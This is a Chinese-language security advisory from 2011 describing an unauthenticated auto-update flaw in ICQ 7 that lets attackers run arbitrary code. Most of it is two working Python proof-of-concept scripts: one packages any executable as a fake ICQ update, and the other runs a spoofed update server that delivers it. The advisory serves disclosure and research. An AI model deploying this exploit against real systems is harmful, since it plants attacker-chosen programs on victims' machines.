安全研究
安全漏洞
ICQ自动更新远程代码执行漏洞
发布日期:2011-01-13
更新日期:2011-01-17
受影响系统:
ICQ ICQ 7.2描述:
ICQ ICQ 7
BUGTRAQ ID: 45805
ICQ是一款流行的即时通讯聊天工具。
ICQ在更新时存在安全漏洞,远程攻击者可利用此漏洞以用户的权限执行任意代码。
ICQ 7不检查更新服务器的ID或通过其自动更新机制下载的更新的真实性。通过模拟更新服务器(例如DNS欺骗),攻击者可假装其更新服务器或在ICQ客户端下次启动时发送任意文件。因为ICQ在引导Windows时立即自动默认启动,并在每次启动时检查更新,所以很容易受到攻击。
<*来源:Daniel Seither
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
# ICQ Update File Creator by Daniel Seither (post@tiwoc.de)
#
# Parameter:
# filename of .exe that should be delivered as an update for ICQ.exe
#
# Overwrites ICQ.zip and updates.xml in the current directory
# without a warning!
import sys, os
from hashlib import md5
from zipfile import ZipFile, ZIP_DEFLATED
if len(sys.argv) < 2:
print "argument missing"
sys.exit(1)
f = open(sys.argv[1])
payload = f.read()
f.close()
payload_checksum = md5(payload).hexdigest()
payload_size = len(payload)
f = ZipFile('ICQ.zip', 'w')
f.write(sys.argv[1], 'ICQ.exe', ZIP_DEFLATED)
f.close()
payload_compressed = os.path.getsize('ICQ.zip')
updatesfile = ('<manifest productid="30009" build="9999" serial="9">'
+ '<host url="http://update.icq.com/cb/icq6/30009/"/>'
+ '<file id="31" path="ICQ.exe" hash="%s" size="%s">'
+ '<file format="zip" size="%s" url="ICQ.zip"/>'
+ '</file></manifest>'
) % (payload_checksum, payload_size, payload_compressed)
updatesfile_checksum = md5(updatesfile).hexdigest()
updatesfile = '<!--%s-->\r\n%s' % (updatesfile_checksum, updatesfile)
f = open('updates.xml', 'w')
f.write(updatesfile)
f.close
=== END build_update_files.py ===
=== START run_update_server.py ===
#!/usr/bin/env python
# Fake ICQ update server by Daniel Seither (post@tiwoc.de)
#
# Must be run
# * as root
# * from a directory containing updates.xml and ICQ.zip
# created by build_updates_xml.py
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
class ICQRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/cb/icq6/30009/0/updates.xml':
self._respond_with_file('updates.xml')
elif self.path == '/cb/icq6/30009/ICQ.zip':
self._respond_with_file('ICQ.zip')
else:
self.send_error(404)
def _respond_with_file(self, filename):
f = open(filename)
self.send_response(200)
self.end_headers()
self.wfile.write(f.read())
f.close()
httpd = HTTPServer(('', 80), ICQRequestHandler)
httpd.serve_forever()
建议:
厂商补丁:
ICQ
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.icq.com/
浏览次数:2341
严重程度:0(网友投票)
绿盟科技给您安全的保障
